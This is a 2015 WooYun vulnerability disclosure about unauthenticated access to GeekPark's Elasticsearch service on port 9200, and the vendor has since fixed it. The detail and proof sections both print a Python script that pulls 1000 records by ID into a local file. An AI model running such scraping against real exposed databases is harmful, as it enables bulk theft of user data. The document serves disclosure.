WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092725

漏洞标题：极客公园主站存在脱裤风险（附简单的验证脚本）（非注入）

相关厂商：geekpark.net

漏洞作者： hkAssassin

提交时间：2015-01-19 18:06

修复时间：2015-01-20 08:16

公开时间：2015-01-20 08:16

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-01-19： 细节已通知厂商并且等待厂商处理中
2015-01-19： 厂商已经确认，细节仅向厂商公开
2015-01-20： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

一个不太注意的漏洞就有可能造成极大的悲剧。

详细说明：

这是用python写的一个简单的验证脚本,看了下好像总共有好几万的信息，这里抓取1000条作为验证！
#coding=utf-8
import urllib
def getHtml(url):
    page = urllib.urlopen(url)
    html = page.read()
    return html
for id in range(1,1001):
        if id== 1001:
            break
        else:
            print str(id)
            html = getHtml("http://www.geekpark.net:9200/_search?q=_id:"+str(id))
            fileHandle=open('geekpark.txt','a')
            fileHandle.write('\n'+html)
            fileHandle.close()

漏洞证明：

这是用python写的一个简单的验证脚本,看了下好像总共有好几万的信息，这里抓取1000条作为验证！
#coding=utf-8
import urllib
def getHtml(url):
    page = urllib.urlopen(url)
    html = page.read()
    return html
for id in range(1,1001):
        if id== 1001:
            break
        else:
            print str(id)
            html = getHtml("http://www.geekpark.net:9200/_search?q=_id:"+str(id))
            fileHandle=open('geekpark.txt','a')
            fileHandle.write('\n'+html)
            fileHandle.close()

修复方案：

版权声明：转载请注明来源 hkAssassin@乌云

漏洞回应